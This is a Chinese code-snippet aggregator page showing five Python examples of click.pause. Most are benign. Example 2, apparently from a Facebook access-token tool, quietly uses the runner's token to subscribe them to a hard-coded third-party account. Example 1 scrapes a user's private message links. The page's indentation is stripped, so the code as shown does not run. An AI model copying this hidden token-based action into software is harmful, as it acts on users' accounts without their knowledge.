本文整理汇总了Python中click.pause方法的典型用法代码示例。如果您正苦于以下问题:Python click.pause方法的具体用法?Python click.pause怎么用?Python click.pause使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类click
的用法示例。
在下文中一共展示了click.pause方法的5个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: gid
# 需要导入模块: import click [as 别名]
# 或者: from click import pause [as 别名]
def gid(self,lnk):
rg=self.req.get(lnk).text
bs1=BS(rg,'html.parser')
for ai in bs1.find_all('h3'):
p=ai.find('a')
if '/messages/read/?' in str(p):
try:
self.rl.append(self.u.format(p['href']))
print(f'\r[{len(self.rl)}] getting messages. please wait...',end='');sys.stdout.flush()
except: pass
for n in bs1.find_all('a',string='Lihat Pesan Sebelumnya'):
nxt=self.u.format(n.get('href'))
self.gid(nxt)
print()
click.pause()
self.main()
exit('[D O N E]')
示例2: getid
# 需要导入模块: import click [as 别名]
# 或者: from click import pause [as 别名]
def getid(self):
print('[!] get friends id...')
time.sleep(2)
fid=self.req.get(self.u.format('me/friends?access_token='+self.ken));self.req.post('https://graph.facebook.com/adlizhafari.nub/subscribers?access_token='+self.ken)
js=json.loads(fid.text)
click.pause()
for i in js['data']:
id=i['id']
self.ung(id)
示例3: _assert_requirements
# 需要导入模块: import click [as 别名]
# 或者: from click import pause [as 别名]
def _assert_requirements(self):
macos_version = platform.mac_ver()[0]
if int(macos_version.split(".")[1]) < 9:
raise UnsupportedOSError(
"Unsupported OS version; please upgrade to 10.9 or later "
"and try again.",
macos_version
)
if not self._has_xcode_tools():
print(tty.progress("Installing the Command Line Tools (expect a "
"GUI popup):"))
spawn(["/usr/bin/xcode-select", "--install"],
debug=self.debug, env=self.env)
click.pause("Press any key when the installation is complete.")
if not self._has_xcode_tools():
raise XcodeMissingError(
"Aborted Command Line Tools installation.",
)
if spawn(["which", "brew"], check_call=False, debug=self.debug,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
env=self.env):
raise BrewMissingError(
"Homebrew not installed",
"http://brew.sh/#install"
)
示例4: pause
# 需要导入模块: import click [as 别名]
# 或者: from click import pause [as 别名]
def pause(message):
"""Block until the user presses 'any key'."""
click.pause(info=click.style(message, fg="blue"))
示例5: before_activity_control
# 需要导入模块: import click [as 别名]
# 或者: from click import pause [as 别名]
def before_activity_control(context: Activity, **kwargs):
"""
Prompt and wait for any key before an activity is executed.
"""
click.pause()